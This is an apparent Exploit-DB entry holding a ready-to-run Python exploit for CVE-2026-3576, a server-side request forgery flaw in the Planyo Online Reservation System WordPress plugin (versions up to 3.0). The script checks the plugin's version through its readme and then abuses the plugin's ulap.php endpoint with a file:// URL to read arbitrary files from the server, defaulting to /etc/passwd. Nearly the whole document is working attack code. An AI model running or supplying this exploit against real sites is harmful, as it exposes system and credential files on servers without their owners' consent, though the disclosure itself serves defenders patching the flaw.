Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF

EDB-ID:

52636




Platform:

Multiple

Date:

2026-08-11


# Exploit Title: Planyo_Online_Reservation_System  3.0 - Arbitrary File Read via SSRF
# Date: 12-07-2026
# Exploit Author: Balachandar Gowrisankar
# Vendor Homepage: https://www.planyo.com/wordpress-reservation-system/
# Software Link: https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/
# Version: <= 3.0
# Tested on: Kali GNU/Linux Rolling, Wordpress 7.0.1, Apache 2.4.68, Python 3.13.14
# CVE: CVE-2026-3576
# CVSS Score: 7.2

# Usage: python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd

import argparse
import requests
import re

def version_check(base_url):
    
    readme_url = base_url + "wp-content/plugins/planyo-online-reservation-system/readme.txt"

    response = requests.get(readme_url)
    text = response.text

    match = re.search(r"==\s*Changelog\s*==(.*)", text, re.DOTALL | re.IGNORECASE) 
    if match: 
        changelog = match.group(1)
        versions = re.findall(r"=\s*v?([A-Za-z0-9._-]+)\s*=", changelog)
        if versions:
            print("[+] Version found:", versions[-1])
            if versions[-1] in ['1.0', '1.1', '1.1.1', '1.2', '1.3', '1.5', '1.6', '1.7', '1.8', '2.3', '2.6', '2.7', '2.8', '2.9', '3.0']:
                print("[+] Target is vulnerable")
            else:
                print("[-] Target is not vulnerable. Exiting.")
                exit()
        else:
            print("[-] No versions found. Try skipping version check to see if exploit still works.")
            exit()
    else:
        print("[-] No changelog section found. Try skipping version check to see if exploit still works.") 
        exit()

def read_file(base_url, file):

    target_url = base_url + "wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost" + file

    try:
        response = requests.get(target_url)
        response.raise_for_status()

        print(response.text)

    except requests.exceptions.HTTPError as e:
        print(e)

def main():
    
    parser = argparse.ArgumentParser(description="Exploit for CVE-2026-3576")

    parser.add_argument("base_url", help="Target wordpress root directory(eg: http://localhost/wordpress/)")
    parser.add_argument("-f", "--file", type=str, default="/etc/passwd", help="Location of arbitrary file on target. Default: /etc/passwd")
    parser.add_argument("-d", "--disable-check", action="store_true", help="Disable target vulnerability check. Default: False") 

    args = parser.parse_args()

    if not args.disable_check:
        print("[*] Checking if target is vulnerable...")
        version_check(args.base_url)
    
    print("\n[*] Attempting to read arbitrary file...\n")
    read_file(args.base_url, args.file)

if __name__ == "__main__":
    main()